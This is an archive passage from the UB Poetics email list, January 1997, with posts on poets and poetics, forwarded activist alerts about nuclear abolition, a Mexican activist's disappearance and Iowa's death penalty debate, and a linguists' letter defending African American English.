> ZYPIE - [adj] When somebody►s so crazy that►s they►re sort of normal
>
> TUZ - [n] A kid who never wants to get into the bathtub or shower but
> when they finally do they always absolutely love it.
>
> SMOPE - [v] To hang someone over a cliff by a rope which is stretched
> back along the ground and over a pot of boiling water whose steam slowly
> unravels the rope, threatening to break & drop the person off the cliff.
>
> FWPEA - [v] To run really fast and keep tripping but keep running.
>

↑ Index

494. **David Bromige**
first tie-sporter?
Mon 20 Jan 1997

---

no,, not the first. George Bowering is wearing a tie. Unfortunately, it's all he's wearing right now. Fortunately, it's a very long tie. Er, at least. . .

↑ Index

495. **duane davis**

Re: Charles Bernstein's Crime

Mon 20 Jan 1997

A few days ago, Charles Bernstein posted a note regarding the new Boundary 2, letting us know, in a humorous way, that it includes some material regarding him and his work. He noted that it includes some poems, an autobiographical interview, a more conventional interview "On Poetry, Language and Teaching" and the writing "Experiments" list. He ended the post by noting that the "dossier fully reveals my guilt...; my question is: what is the crime?" I've read through the material, and, in the interests of internet conversation, am ready to give my views on the "crime".

I am unsure of B's poetry. It is playful, diffident, relentlessly "constructed," a made object (as, of course, is all poetry) that avoids the sentimentalities of meaning as he strives very hard for an invented syntax and grammar by which to chart the background radiation of decay and dissolution that haunts our discourse -- the half-life of sense and sensibility as it dissolves into noise. In the grand scatter of these words, phrases, forms I can sometimes glimpse, if only by glint and gleam, the general, if not implacable, heatdeath of all those small economies we so fondly call "you" and "I"...

Yet it is with such relief to strike upon moments of coherence, even if gnomic, in the poems, those passages where meaning lights up the non-sense or a-sensical -- momentary stillings of the surrealist crush of random words and phrases. Though, perhaps, not "random." They may mean something to their author and they may mean something to someone other than me.

But it seems, then, that this "meaning" is very casual and unconnected from the words, almost accidental... How many of your readers can you lose before you are no longer a writer, just a scribbler?

B argues compellingly and convincingly for difficulty and complexity, for a writing that goes against the grain of conventional use and sense -- both in poetry and prose. It is of note that his own prose is often beautiful and measured and strikingly clear and direct. What, in fact, is the relation of the two -- why are they different, or, why are they so different? What does B seek in the poetry, what "experience" of words and phrases, rhythms and forms... And then why write about the poetry in prose? As though the poetry required a justification, an explanation.

B asked, in his post, 'what is the crime' the dossier gathers evidence against and of course he meant this in a humorous way and in the same spirit of affectionate challenge I would submit that the dossier collects evidence regarding B's efforts to destroy the evidence itself: his testimony enacts the erasure of

"meaning", a community property of a certain value and for which the defacement of has always carried certain penalties and censures.

B asks what the crime is... Next, we must ask what the sentence is.

Duane Davis

↑ Index

496. **Pam Brown**

Re: Closure & The Pastoral (another Chapter of *Ethics*)

Mon 20 Jan 1997

And, John K., - there was "Country Country" by Denis Gallagher - published in Sydney around 1979..and I've forgotten the publisher...but it'll be in the libraries...and maybe some of Laurie Duggan's poems as well...

Cheerio
Pam

At 07:59 AM 20/1/97 -0700, you wrote:
>Aside from making a point about his own poem, John Kinsella has a point
>about settler countries in the commonwealth, as hisown work in the form
>demonstrates: check out, if you can order it from Oz, his _The Silo: a
>pastoral symphony_ & his latest (for a month or so I suspect), _Lightning
>Tree_ [both from Fremantle Arts Centre Press] or _The Undertow: new &
>selected poems_ [from Arc Publications in the UK]. Those of you lucky
>enough to catch him on his recent tour of the US & Canada will have heard
>him read some of these poems as well as talk about what he's doing with the
>'genre'.
>Then I begin to think about who does this in Canada: John Newlove, whose
>early, minimalist, poems of farm life already break away from
>pastoral-as-such, GB, at times, & maybe especially in sections of
>_Autobiology_, Robert Kroetsch in parts of his ongoing poem, _Field Notes_,
>especially _Seed Catalogue_; & there are more. Do some of Atwood's poems
>count (I think so).
>Robert Adamson, one of Australia's finest poets, certainly practices
>anti-pastoral, even in a book probably seen as 'pure' pastoral by some
>reviewers, the sharply etched & shifty _The Clean Dark_.
>Bill Manhire has written a few poems I would call anti-pastoral-as-theory
>(but not obvious about it), in New Zealand.
>
>Most poems that fit this concept, in my fuzzy thinking this morning, would
>seem fairly mainstream, but have something that undermines a regular
>reading in them. I imagine John, who has obviously been thinking about
>this, would present a much more complex argument...

>
>Just off the top of my head...
>
>==========
==========
>Douglas Barbour
>Department of English
>University of Alberta in the rooms you live in
>Edmonton Alberta T6G 2E5 other people's books line your shelves
>[redacted] FAX:[redacted]
>H: [redacted] bpNichol
>
>

↑ Index

497. Gabrielle Welford

Abolition 2000 '97 Conference WWW (fwd)

Mon 20 Jan 1997

---------- Forwarded message ----------
Date: Sat, 18 Jan 1997 11:11:45 -1000
From: Pacific Impact <[redacted]>

Aloha:

Last week you received an invitation to join our discussions on the agenda of the Abolition 2000 Conference being held in Moorea January 20 -28. We have uploaded a web site to host this discussion and provide more information at:

http://www.hookele.com/abolition2000

If you are unable to view the site please send your postings to our address and we'll upload your message to the discussion. Also send your letters of encouragement if you are inspired through this week through our journal postings and reports. On the web site there is also a daily journal where we'll be uploading stories, interviews, press statements, comments and images. For those on e-mail only - we'll be glad to send you postings, just let us know.

WAYS TO PARTICIPATE ONLINE

1. Join the online discussion group at:
http://hookele.com/abolition2000/abotalk

2. Please try and keep the discussion to the agenda topics and reports

3. Send E-mail support and comments on topic(s) to: [redacted]

4. Send faxes of support and comments on topic(s) to: fax: [redacted] (this fax number may change once we're there and we'll post a note to that effect).

5. Become signatory to the Abolition Statement:

http://hookele.com/abolition2000/abostatement.html

6. Become a signatory of support for the Hiti Tau - resolution/declaration which will be developed. (I'll provide more info on Hiti Tau, with ways you can help, after we're present in Moorea.)

7. Continue to return to the site each day to review discussions, list of needs and reports from Abolition 2000 and Hiti Tau

8. Distribute and activate your network on issues and resolutions you support

TOPIC FOR DISCUSSION

Decolonisation has been a hot topic/issue of discussion in preparation for this conference. The question raised in the earlier part of this month which was raised by European and USA abolition members was: "Why Discuss Decolonization?" Soon you will find a thread archived in the Conference Discussion Group with earlier comments by Abolition members and Pacific Indigenous Peoples. This discussion has been encouraged to continue for growth and clearer understanding of our Pacific Issues.

AGENDA

HITI TAU is our Te Ao Maohi (Indigenous Peoples of Tahiti) host and will open and close the conference and each day with appropriate protocol and prayers. Gabriel "Gaby" Tetiarahi is the head of Hiti Tau and will be holding a conference at the same time as this conference. Both conference participants will join together for meals and will interact on common agenda.

MONDAY - JAN. 20: ARRIVAL & REGISTRATION

TUESDAY - JAN. 21: PROTOCOL & SITE VISITS

WEDNESDAY - JAN. 22: OPENING CEREMONY of RECONCILIATION FOR NUCLEAR TEST
VICTIMS
& PACIFIC NUCLEAR ISSUES

THURSDAY - JAN. 23: LINKING REGIONAL AND INTERNATIONAL NUCLEAR ISSUES
CAUCUS: (a) Regional; (b) Indigenous Peoples; (c) Youth
- VISION - hopes and expectations for this conference
- review of Abolition 2000 Statement (point by point evaluation
of progress, problems, challenges)

FRIDAY - JAN. 24: ABOLITION 2000 WORKING GROUPS * Introductory reports from Abolition 2000 working group conveners - identify additional working groups (goal of day: action plans from each working group) * Evening issue briefings (shipment of plutonium, ICJ opinion, lab testing, etc.; videos)

SATURDAY - JAN. 25: BUILDING THE NETWORK - RESOLUTIONS & REPORTS

SUNDAY - JAN. 26: UNSCHEDULED TIME AND CLOSING CEREMONY
* Preparation for Monday press conference and Peace Vigil

MONDAY - JAN. 27: PRESS CONFERENCE & PEACE VIGIL IN PAPEETE (world invited)

PRESS CONFERENCE IN PAPEETE
- announcement of the results of the first independent health study of Polynesian test site workers and the outcome of the Abolition 2000 meeting
- public signing of solemn declaration to mark the end of nuclear testing and appeal for the abolition of nuclear weapons

DIRECT ACTION
- MARCH through Papeete with local youth, women's NGO(s) and church groups, trade unionists, etc.

*Exhibition of anti-nuclear artwork in Papeete (tentative)

TUESDAY, JAN. 28: SITE VISITS - FINAL NETWORK, STRATEGIC PLANNING - LOCAL NEEDS/FUTURE

e n d

"Background Information on conference coordination and organization"

* The Abolition 2000 Interim Management Group (IMG), which manages the operation of the Network between meetings, will oversee the agenda and program. Its members will meet frequently to assess how the conference is going and make adjustments as needed. Judy Rubenstein has been retained by the IMG as a facilitator and "ombudsman" (a person who people with complaints can come to).

* Simultaneous French/English translation will be provided during plenary sessions, and there will be rapporteurs for plenary sessions. We hope to produce daily reports, in French and English, for distribution to delegates. If possible, these daily reports will also be posted on the internet.

* The Abolition 2000 conference will deal with information sharing, development of coordinated strategies, and administrative management of the Network over the next year. We anticipate that resolutions and proposals dealing with both substance and process will be put forward during the conference. Delegates are encouraged to present written proposals and resolutions to the IMG before the Saturday plenary session.

* The Abolition 2000 Statement is the "glue" that holds the Abolition 2000 Network together. It represents a kind of "contract" among the nearly 700 non-governmental groups around the world who have signed it, and it is the starting point for our common work at this conference.
<http://hookele.com/abolition2000/abostatement.html>

* One day of the conference is devoted to working group meetings. Abolition 2000 currently has 10 working groups. Additional working groups can be formed based on participants' interests. Existing working groups are: 1) Nuclear Weapons Convention; 2)Non-Nuclear Security Model for Europe; 3) Chernobyl and Nuclear Power; 4) Media, Communication and Outreach; 5) CTBT and Beyond; 6) Fissile Materials; 7) Overcoming Nuclear Threats/Legal Issues; 8) Lobbying, Dialogue and Campaigning; 9) NPT PrepComs; and 10) Newsletter.

P A C I F I C I M P A C T P E A C E
Kekula P. Bray-Crawford <[redacted]>
Ho`okele Hawai`i - HAWAIIANAVIGATION Co.
1135 Makawao Ave. No. 103-122 - Makawao, Maui 96768 Ka Pae `Aina o Hawai`i Loa
Malama Ala a ka Manu

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498. Gabrielle Welford
Urgent Action Bulletin (fwd)
Mon 20 Jan 1997

MEXICAN LABOR NEWS AND ANALYSIS
URGENT ACTION BULLETIN - JANUARY 18, 1997

APPARENT KIDNAPPING OF COMMUNITY ACTIVIST
TEPOZTLAN, MORELOS, MEXICO from Andrew Wheat Laura Berenice Medina Bocanegra, a community activist and daughter of outspoken Tepoztlan leader Doctor Adela Bocanegra, appears to have been kidnapped late in the afternoon of Friday Jan. 17, 1997 in the nearby city of Cuernavaca,

where she works. The day of her disappearance, Ms. Medina Bocanegra sent a fax from her office at the National Water Commission in Cuernavaca. The fax said that two men had just followed her on foot in Cuernavaca's main plaza. The fax also described three vehicles that had followed her in recent days, including the license plate numbers of two of these cars. One of the vehicles (for which she provided a license plate number) was a patrol car of the State Judicial Police. Just before her disappearance around 5 or 6 pm, Ms. Medina Bocanegra ducked into the Mexico Zacatepec bus station in Cuernavaca to call home because she said she was being followed again and felt threatened. When family members went to the station to pick her up, she was gone. The community of Tepoztlan has gained international attention for the successful campaign it has waged to prevent investors supported by Morelos Governor Jorge Carrillo Olea from building a luxury development on the outskirts of their colonial town. In retribution over the course of the last year, Morelos authorities ambushed a caravan of peaceful protesters, killing one man; imprisoned Amnesty International Prisoner of Conscience Gerardo Demesa Padilla for one year; issued arrest warrants for dozens of movement leaders; and apprehended four other Tepoztlan men on January 11, 1997 -- torturing at least two of them. The case of Laura Beranice Medina Bocanegra is unusual, however, in that no known warrant had been issued for her arrest and State officials have initially said that she is not in their custody. There is fear for her safety.

RECOMMENDED ACTION: Please send immediate telegrams/telexes/faxes:
- expressing concern for Laura Beranice Medina Bocanegra's safety;
- urging that the license plate numbers she identified be immediately traced;
- urging that she be located and safely released to her family;
- urging that her presumed abductors be brought to justice;
- asking to be kept informed of the outcome of any investigation.

APPEALS TO: (SALUTATION)
1) President of the Republic: (Sr. Presidente / Dear President
Lic. Ernesto Zedillo Ponce de Leon
Presidente de la Republica
Palacio Nacional
06067 Mexico D.F.
MEXICO
[Telegrams: Presidente Zedillo, Mexico D.F., Mexico]
[Telexes: 170937 sppnme; 1774468 sppnme]

[Faxes: 011 52 5 [redacted] or 011 52 5 [redacted] (voice line: ask 'me puede dar tono de fax, por favor')]

2) Attorney General of the Republic: (Sr. Procurador de la Republica/ Dear Attorney)
Lic. Jorge Madrazo Cuellar
Procuraduria General de la Republica
Paseo de la Reforma y Violeta
Col. Guerrero
06300 Mexico D.F.
MEXICO
[Telegrams: Sr. Procurador de la Republica, Mexico D.F., MEXICO]
[Fax: 011 52 5 [redacted]/ 011 52 5 [redacted]]

3) Minister of the Interior: (Sr. Secretario / Dear Minister)
Lic. Emilio Chuayffet Chemor
Secretario de la Gobernacion
Secretaria de la Gobernacion
Bucareli 99, 1er piso
Col. Juarez, 06699 Mexico DF
MEXICO
[Telegrams: Secretario Gobernacion, Mexico D.F., Mexico]
[Faxes: 011 52 5 [redacted]]

4) Governor of the State of Morelos: (Sr. Gobernador / Dear Governor)
Governor of the state of Morelos
Lic. Jorge Carrillo Olea
Gobernador del Estado de Morelos
Palacio de Gobierno Cuernavaca
Estado de Morelos, MEXICO
[Telegrams: Gobernador Morelos, Mexico]
[Faxes: 011 52 7 [redacted]; this is a voice line so please ask to have the fax machine turned on.]

COPIES TO:
1) Daily newspaper:
Sr. Editor
La Jornada
Balderas 68
06050 Mexico D.F.
MEXICO

BACKGROUND INFORMATION

The state of Morelos has long been the scene of human rights violations allegedly carried out by the security forces, mainly in the context of land disputes. Indigenous people and peasants are most often the victims of this violence. The frequent association of powerful landowners (caciques) with local authorities seriously undermines the legal rights of the peasants and places them at a higher risk of human rights violations.

A development company, in association with the governor of Morelos, Jorge Carrillo Olea, has been attempting to build a multi-million dollargolf course and houses on common land, land which is regarded by the inhabitants of Tepoztlan as sacred. For months, local people, including women, children and elderly, some of them members of the CUT, have organized numerous peaceful actions in their struggle to stop the development.

On 10 April 1996, following one of those peaceful demonstrations, Marcos Olmedo Gutierrez was extrajudicial killed by members of thesecurity forces. More than a hundred arrest warrants were issued against members of CUT and some arrests took place. Moreover, community activists, including minors, were repeatedly subjected to threats and ill-treatment.

One of those previously arrested, Gerardo Demesa Padilla, a teacher, remains in prison as a prisoner of conscience.

Amnesty International delegations visited Tepoztlan in June and December 1996 and were able to interview some of the human rights defenders, community activists and members of CUT who had been ill-treated, threatened and imprisoned. The delegation confirmed the reports of violent repression against those active in promoting and protecting human rights.

For More Information, contact: [redacted]

END MLNA URGENT ACTION BULLETIN 18 JANUARY 1997

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499. **maria damon**

Re: reading, hearing, wearing

Mon 20 Jan 1997

---

hey beard, what's emigre?

In message <[redacted]> UB Poetics discussion group writes:
> reading:
>

> The Gold Bug Variations - Richard Powers (nearly finished)
> Musicality - Barbara Guest
> The Ambiguous Companion - Tom Weston
> The Creative - lecture by Robert Creeley
> New & Selected Poems - John Forbes
> recent issues of Emigre & Wired
>

↑ Index

500. Gabrielle Welford

NCDAP Action Alert

Mon 20 Jan 1997

Sorry if this is a repeat. I got messages saying it hadn't been accepted.
gab.

NCADP ACTION ALERT
Issued: January 15, 1997
Expires: Februay 15, 1997

The Governor of Iowa is pushing to reintroduce the death penalty. Given the recent changes in the composition of the state house, he has a good chance of succeeding. Debate about his proposal is expected to begin in the state senate in early February. If it passes the senate, debate in the house will start soon after. The following is a message from our friends in Iowa:

"With the November elections, the Republican Party gained control of the State Senate (29-21). The Democratic Party made gains in the State House, but the Republicans remain in control (54-46). There are 9 new senators and 21 new representatives. The governor, who was not up for reelection, is Republican. Thus, Republicans control both chambers of the legislature and the executive offices. The governor is once again pushing the death penalty. He suggests that the reason for Republicans gaining control of the Senate is because ant-death penalty Democrats were opposed by pro-death penalty Republicans. The Republican leadership of the Senate and House have stated that they believe there are not enough votes to pass a death penalty bill. Death penalty opponents must not believe a death penalty will surely be defeated. Iowans Against the Death Penalty and lobbyist from a variety of organizations have been counting expected votes on the death penalty issue. It appears that the vote in both chambers will be extremely close. It is expected that a death penalty bill will be introduced in the Senate shortly after the legislative session begins on January 13. We need to have legislators hear from those oppose the death penalty."

Please contact at least one of the following Republican state senators:
Dennis Black, Don Gettings, Rod Halvorson, Steven Hansen, Wally Horn, Steve King, Jim Lind, and Mary Lundby.

The Honorable (Insert Name)
Senate Chamber
State Capitol Building
Des Moines, IA 50319
[redacted]--Fax

Please let them know:

--You have sympathy for victims of violent crime
--The death penalty is not a deterrent
--The death penalty is more expensive than life imprisonment
--The death penalty (killing) is no way to show that killing is wrong
--Any other information you deem useful.

Also, please send letters of support and encouragement to The Honorable John Redwine at the above address. Senator Redwine is a newly elected Republican who opposes the death penalty.

Letters to the editor should be sent also. Each of the following newspapers is located in a key congressional district:

Des Moines Register
Bok 957
Des Moines, IA 50304

Cedar Rapids Gazette
Box 511
Cedar Rapids, IA 52406

Waterloo Courier
Park and Commercial
Waterloo, IA 50704

Dubuque Telegraph Herald
Box 680
Dubuque, IA 52001

Quad City Times
124 East 2nd Street
Davenport, IA 52801

For more information, please contact:

Steve Pohlmeyer @ [redacted]

Yours In The Sruggle,

Steven Hawkins
Executive Director
National Coalition to Abolish The Death Penalty
918 F St., NW #601
Washington, DC 20024
[redacted]

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501. Gabrielle Welford
Biogs of Contemp Women Poets
Mon 20 Jan 1997

St. James Press, Detroit, MI, is seeking contributing essayists for Contemporary Women Poets, a reference book scheduled for publication in October 1997. Biographical/Critical essays will run approximately 300 words; payment will be $75.00 per essay, with final ms. deadline of May 30, 1997.

Those interested in receiving a list of poets still available as
essay subjects should e-mail Pamela Shelton, editor, at
[redacted] no later than January 30, 1997.

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502. Gabrielle Welford
Re: Justice for Garment Workers II (fwd)
Mon 20 Jan 1997

---------- Forwarded message ----------
Date: Mon, 20 Jan 1997 09:45:00 -1000
From: Julia Stein <[redacted]>

Justice for Garmenter Workers Literary Reading II
Midnight Special bookstore
February 2, Sunday, 2-3:30
1318 3rd Street Promenade, Santa Monica,
[redacted]
Luis Campos, poet, Poetry! (CD/casette, New Alliance Records)
Alexis Krasilovsky, video poet, creator, "What Memphis Needs" and "Earthquake Haggadah"
Merrihelen Ponce, author of acclaimed autobiography "Hoyt Street"
Julia Stein, poet, author of "Desert Soldiers"
Edna Bonacich from Common threads will give an update on the UNITE campaign
against Guess

and a Guess contract worker will speak.
Sponsor: Common Threads

Guess Inc. sued "Justice for Garment Workers Literary Reading I" as part of a large libel/slander suit against UNITE, the garment workers union, and Common Threads, a women's support group dedicated to justice for garment workers. You are invited to Justice for GArment Workers Literary Reading II.

Julia Stein
[redacted]

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503. **DS**
Re: Abolition 2000 '97 Conference WWW (fwd)
Mon 20 Jan 1997

Gabrielle, I made an item on the Tahitian Hiti Tau movement for New Zealand tv during the anti nucleara protests last year. i am interested in hearing more about what they are doing if you have more info.

Please backchannel (or whatever the term is) if it is of no interest to the list.

Dan Salmon

At 04:14 PM 1/20/97 -1000, you wrote:
>---------- Forwarded message ----------
>Date: Sat, 18 Jan 1997 11:11:45 -1000
>From: Pacific Impact <[redacted]>
>
>Aloha:
>
>Last week you received an invitation to join our discussions on the agenda
>of the Abolition 2000 Conference being held in Moorea January 20 -28. We
>have uploaded a web site to host this discussion and provide more
>information at:
>
> http://www.hookele.com/abolition2000
>
>If you are unable to view the site please send your postings to our address
>and we'll upload your message to the discussion. Also send your letters of
>encouragement if you are inspired through this week through our journal
>postings and reports. On the web site there is also a daily journal where
>we'll be uploading stories, interviews, press statements, comments and
>images. For those on e-mail only - we'll be glad to send you postings,
>just let us know.

>
>WAYS TO PARTICIPATE ONLINE
>
>1. Join the online discussion group at:
>http://hookele.com/abolition2000/abotalk
>
>2. Please try and keep the discussion to the agenda topics and reports
>
>3. Send E-mail support and comments on topic(s) to:
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>(this fax number may change once we're there and we'll post a note to that
>effect).
>
>5. Become signatory to the Abolition Statement:
>
> http://hookele.com/abolition2000/abostatement.html
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>6. Become a signatory of support for the Hiti Tau - resolution/declaration
>which will be developed. (I'll provide more info on Hiti Tau, with ways you
>can help, after we're present in Moorea.)
>
>7. Continue to return to the site each day to review discussions, list of
>needs and reports from Abolition 2000 and Hiti Tau
>
>8. Distribute and activate your network on issues and resolutions you support
>
>
>TOPIC FOR DISCUSSION
>
>Decolonisation has been a hot topic/issue of discussion in preparation for
>this conference. The question raised in the earlier part of this month
>which was raised by European and USA abolition members was: "Why Discuss
>Decolonization?" Soon you will find a thread archived in the Conference
>Discussion Group with earlier comments by Abolition members and Pacific
>Indigenous Peoples. This discussion has been encouraged to continue for
>growth and clearer understanding of our Pacific Issues.
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>AGENDA
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>HITI TAU is our Te Ao Maohi (Indigenous Peoples of Tahiti) host and will

>open and close the conference and each day with appropriate protocol and
>prayers. Gabriel "Gaby" Tetiarahi is the head of Hiti Tau and will be
>holding a conference at the same time as this conference. Both conference
>participants will join together for meals and will interact on common
>agenda.
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>each working group)
>   * Evening issue briefings (shipment of plutonium, ICJ opinion, lab
>testing, etc.; videos)
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>   Polynesian test site workers and the outcome of the Abolition 2000
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> appeal for the abolition of nuclear weapons
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>NEEDS/FUTURE
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>8) Lobbying, Dialogue and Campaigning; 9) NPT PrepComs; and 10)
>Newsletter.
>
>_____
>
>P A C I F I C I M P A C T P E A C E
>Kekula P. Bray-Crawford <[redacted]>
>Ho`okele Hawai`i - HAWAIIANAVIGATION Co.
>1135 Makawao Ave. No. 103-122 - Makawao, Maui 96768 Ka Pae `Aina o Hawai`i Loa
>Malama Ala a ka Manu
>_____
>
>

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504. **DS**

Re: Charles Bernstein's Crime

Mon 20 Jan 1997

Sententiousness.

- a kiwi burd in a kiwi tree.

> *B asks what the crime is... Next, we must ask what the sentence is.*
>
> *Duane Davis*

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505. **Gabrielle Welford**

AAVE (fwd)

Mon 20 Jan 1997

From: LYNN EUBANK <[redacted]>

Dear colleagues,

We are writing in response to the massive bipartisan attack that we have witnessed against the Oakland School Board's decision to recognize Ebonics, or African American English (AAE). The Linguistic Society of America recently passed a resolution in support for the board on linguistic and educational grounds, but it has received scarce mention in the media relative to the outpouring of mean-spirited and ignorant assertions that claim AAE is "bad grammar," "slang," "a pseudo-dialect" and a "pseudo-language." Most disappointing to us has been the reaction of the normally liberal spokespersons who have managed to construe the recognition of AAE as representing a potential threat and handicap to the thousands of African American children in schools. We are especially alarmed at the solutions being proposed, which invariably seek to use shame and guilt at the natural language learned from one's parents to "attract" the children to the "standard d ialect." This "real language" is held up in comparison as "pure" and "grammatical," "logical" and "understandable," in complete and convenient ignorance of decades of linguistic research that reveal the emergence of a standard as historical and political artifact.

We can find no contemporary linguist who "grades" languages or dialects. As the old saying goes, a language is just a dialect with an army and a navy. But it is true, standard American English is the language of success and power and economic opportunity, often called "the cash language". There has been progress in fighting race prejudice. We must not let language prejudice become legitimate. Prejudice against American Sign Language as a system of "dumb gestures" is being overcome, by studying the intricacy of the sign system, so that we now see signers on TV and 5yr-olds eager to learn their names in Sign. The same effort should be made on behalf of dialects in the US, including regional dialects which are also the basis of prejudice. The US is making some progress in extending our

collective vision of success to be inclusive of the way different people look, but we need to incorporate tolerance of language variety for successful adults.

So what are the real risks that African American children face in the current United States? From ignorance of the dialect by teachers and officials: a substantial increase in the likelihood of being stigmatized as "learning disabled" and "language delayed" as they enter the school system. Because of the media attention to this controversy perhaps a million children who want to speak up in class discussion will not speak in class this week. Speakers of other dialects may be similarly inhibited. Evidence suggests that by fourth grade many children go silent because they do not feel welcome in their schools.

Psycholinguistic research has demonstrated the rich system of phonological, morphological and syntactic rules known to AAE-speaking 5 year olds. These rules exemplify the universal principles true of all natural languages, with the logical and semantic precision that is the crowning achievement of the human mind. In addition, they have mastered the language particular properties of African American English so crudely caricatured in the press: the use of negative concord (NOT the same as "double and triple negation"), the use of the unique aspect marker BE (NOT "unconjugated use of be"), and subtle phonological constraints on morphology. Finally, they are already code-switching into standard dialect when circumstances require it, in the recognition that not everyone shares their dialect.

The Oakland School Board is to be congratulated for recognizing these strengths and for recommending that teachers be trained to encourage the transition to bidialectal competence, not by the traditional and hate-ridden methods of guilt and punishment, but by linguistic education, metalinguistic awareness, and pride in the linguistics skills gained.

We are writing to express our embarrassment and rage at the current situation, and we hope you will join us in extending a hand of support and encouragement to all those people who use AAE as their natural language, those

who teach children who speak it, and those who have been made to feel ashamed of once having spoken it. If you would like to share this letter with any other newsgroups or colleagues, we urge you to forward it to them and add your name as a co-signer.

Jill deVilliers, Smith College
Thomas Roeper, University of Massachusetts, Amherst
Harry N. Seymour, University of Massachusetts, Amherst

Co-signers:
Peter de Villiers, Smith College
Michael Walsh Dickey, University of Massachusetts, Amherst
Lynn Eubank, University of North Texas
Dr. Lynn Eubank, Chair
Graduate Studies in English
Department of English
University of North Texas
Denton, TX 76203
USA
[redacted]

Dr. Lynn Eubank
Division of Linguistics
Department of English
University of North Texas
Denton, TX 76203
USA
[redacted]

↑ Index

506. Jeffrey W. Timmons
Re: oh, alright (clothing)
Mon 20 Jan 1997

in future
communications--
this order--
better back-
channelled:
the sonnet
sunshine ray

↑ Index

507. **Thomas Bell**
Re: quark this
Mon 20 Jan 1997

---

you must be kidding, right? or are we living in tiskittaskit world
as we approach the millenium?
tom bell

At 03:34 AM 1/20/97 -0800, Ron Silliman wrote:
>My current unfavorite in the work environment I inhabit is the verb
>
>attrit
>
>as in "we'll attrit that department to 24 after the new system is up."
>
>Some others include:
>
>the verb "task" as in
>"I have been tasked to prepare a white paper on strategy"
>
>"install" as an adjective, as in
>
>"revenue has remained flat while the install base has doubled"
>
>"quark" as a verb, as in "quark that, please"
>
>I hear this stuff every day. All professional jargons are full of it,
>but the PC industry positively delights in it. When I worked in the
>prison movement in the 1970s, there were some liberal architects who
>were calling what's typically known as "the main yard" of their
>institutional designs "detention gardens." An older institution like
>San Quentin (dating back well into the 19th century), understands the
>model somewhat better and calls this same feature "the quad."
>
>Ron Silliman
>
>

↑ Index

508. Mark Weiss
inauguration poem
Tue 21 Jan 1997

So I thought, "who needs an invitation? What if I wrote my own inauguration poem?" And in the manner of bad ideas itgrew like a family of rabbits until I suddenly found myself writing retroactive inaugural poems for all of the presidents who never had them. I would begin with Warren Harding. Something about teapots. When it occurred to me that it had already been written. Do you remember the song Marlene Dietrich sings in "Destry Rides Again?" "See what the boys in the backroom will have..."

Whatever I'm wearing I should change immediately.

↑ Index

509. Marina deBellagente laPalma
poem
Tue 21 Jan 1997

Here is a poem for this polyvocal environment.

VOICES

The voices say various things.

They urge me to write something
pleasantly disconcerting,
that sounds as if it's been translated
from some indeterminate language.

They urge me to work
the inadequacy of language
the way a stubborn surfer
will work the waves
until they yield their gift.

So I plunge into fragments,
ready to expend on each one
my precious supply of energy;
ready to start again (each time
with a touching sense of hope),
willing to suspend temporarily
if not disbelief at least my despair.

Detecting how each of them is
my own, my very own perfect voice,
demanding to be taken seriously.

Marina de Bellagente LaPalma

↑ Index

510. Herb Levy
Re: Elmslie in Seattle
Tue 21 Jan 1997

George & others,

So you don't hear about it too late this time, Kenward Elmslie's reading as part of the Rendezvous reading series in Seattle next week, January 28, at New City Theater on the corner of 11th Av & Olive Street on Capitol Hill. I don't know what time it starts, but I'll be back in time to hear it. Perhaps one of the many Seattle lurkers can post some more information on this. (I don't think we're all out of town.)

Roulette t-shirt by Christian Marclay, gray herringbone tweed pants, & black ankle boots with brown leather trim. (I was the only person I saw at the (absolutely amazing & well worth a trip) 101st Fort Worth Stock Show & Rodeo last night who wasn't wearing jeans, but I don't have any.)

> *Ah you lucky people who have heard Elmslie read. (Or Schuyler, for that matter.) I have never heard him, though I heard too late that a play was produced in Seattle a couple years ago. Does anyone out there teach Elmslie? How does one do it?*
>
> *George Bowering.*

Herb Levy
[redacted]

↑ Index

511. Herb Levy
Books & Tunes
Tue 21 Jan 1997

I'm reading Doug Nufer's Never Again (a two hundred page manuscript with NO word used more than once). I just finished Brian Eno's A Year (better, or at least more interesting, than I expected) & also have with me, but have barely opened yet, Potocki's Manuscript Found in Saragossa; Mandel & Davidson's Absence Sensorium; & Moxley's Imagination Verses (this last is the Seattle reading group book for February).

I'm out of town, so I'm I'm not listening to too much that's not work-related: tapes of various versions of 3-4 interactive computer pieces by Martin Bartlett

mostly, and the final mix of Suspended Music (Deep Listening Band/Long String Instrument collaboration) out, finally, next week.

I'm interested in the unmentioned, but noticeable, distinction between using tunes to keep one's head clear & using tunes to clear one's head out.

I'm also hearing Cesaria Evora & John Zorn's Masada Chamber Ensembles/Bar Kokhba, which probably fit in the first of these two categories. I'm also intermittently hearing a quirky & entertainingly corny tape of David Mahler's Volunteer Park Conservatory Orchestra playing dance band music from ca. 1900-1930 - not useful for either kind of clarity, though.

Otherwise I'm mostly just hearing radio which I hate almost everywhere I go.

Herb Levy
[redacted]

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512. **Tosh**
Re: AAVE (fwd)
Tue 21 Jan 1997

English language is consistently expanding and changing. So why is it now such a big issue? Why can't we have both _ standard English and regional English? I think they should teach standard English and acknowledge regional conversational habits - but standard English is the main language for communicating to other countries, etc.

Plus, why is there so much overly political announcements on this particular listing? Not that I am against such announcements, but from certain individuals that is all you get - very rarely do they comment on poetics, etc. Just thinking out loud.

Tosh Berman
TamTam Books

↑ Index

513. **DS**
Re: AAVE (fwd)
Tue 21 Jan 1997

>English language standard English and regional
>English? I think standard English and acknowledge
> standard English language I am against
>certain individuals they comment poetics, etc.
Just thinking out

>
>

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514. Miekal And
Re: poem
Tue 21 Jan 1997

Marina, welcome to the list, or maybe youve been here all along in lurk mode? I checked out yr wonderful webpage but there's too much to read in one sitting.

mr miekal of the backest woods

↑ Index

515. Sherry Brennan
Poet to the President
Tue 21 Jan 1997

Is Bill Clinton in the real world; is Michael Jordan in the real world; am I in the real world; is Dennis Rodman in the real world; is flesh in the real world; are you in the real world; is the poet to the president in the real world? If I work am i in the real world? If I read am I in the real world? If I write am i int he real world? IF I can't read am I in the real world? Is "A Poem for Emily" which was written by the poet to the president in the real world, which reads in part - "sometime I know you will have them read this / so they will know I love them and say so / and love their mother" and ends "which is I stood and loved you while you slept"? Does this make more sense than what Duane Davis calls Charles Bernstein's "heatdeath of all those small economies we so fondly call 'you' and 'I'"? Is the poet a better poet if he is in the real world? How does he know he is in the real world? If he reads books is he in the real world? If he doesn't read books but only experiences the real world and then writes books is he in the real world? If he is a she and isn't a mother and isn't loved by the poet to the president is she in the real world?

Sherry Brennan
Development Research
The Pennsylvania State University
[redacted]

↑ Index

516. **henry**
Re: building bridges
Tue 21 Jan 1997

On Mon, 20 Jan 1997 14:24:41 EST Keith Tuma said:
>
